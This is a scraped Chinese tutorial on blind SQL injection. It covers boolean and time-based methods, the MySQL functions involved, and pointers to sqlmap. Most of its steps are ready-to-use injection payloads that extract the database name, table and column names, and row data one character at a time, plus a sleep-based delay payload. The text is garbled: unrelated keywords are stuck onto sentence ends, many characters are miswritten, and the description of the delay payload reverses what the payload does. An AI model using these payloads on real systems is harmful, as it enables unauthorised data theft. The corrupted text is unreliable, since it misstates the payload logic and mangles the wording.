SQL注入:盲注

盲注简介

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来讲缺乏了很是重要的“调试信息”。git

盲注分类

1.布尔盲注
布尔很明显Ture和Fales,也就是说它只会根据你的注入信息返回True和Fales,也就没有了以前的报错信息。github

2.时间盲注
界面返回值只有一种,True。不管输入和值,返回状况都会按正常的来处理。加入特定的时间函数,经过查看web页面返回的时间差来判断注入的语句是否正确。web

盲注须要掌握的函数

length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 若是第一个语句正确就执行第二个语句若是错误执行第三个语句sql

注入步骤

1.猜解数据库名称长度
id=1'and(length(database()))>n数据库

2.猜解数库名称
and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s服务器

3.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+ 返回正常,说明数据库表名的第一个的第一位是eapp

4.猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102--+ 返回正常,说明zkaq表中的列名称第一位是f函数

5.猜数据
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,说明zKaQ列第一位是z工具

利用工具

sqlmap工具调试

下载地址:https://github.com/sqlmapproject/sqlmap
下载好后直接解压,而且加入环境变量,就能够直接在cmd调用

也可用kali自带的sqlmap

延时注入方法

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+ 该语句表示,若是正确则10s后再加载页面

相关文章
相关标签/搜索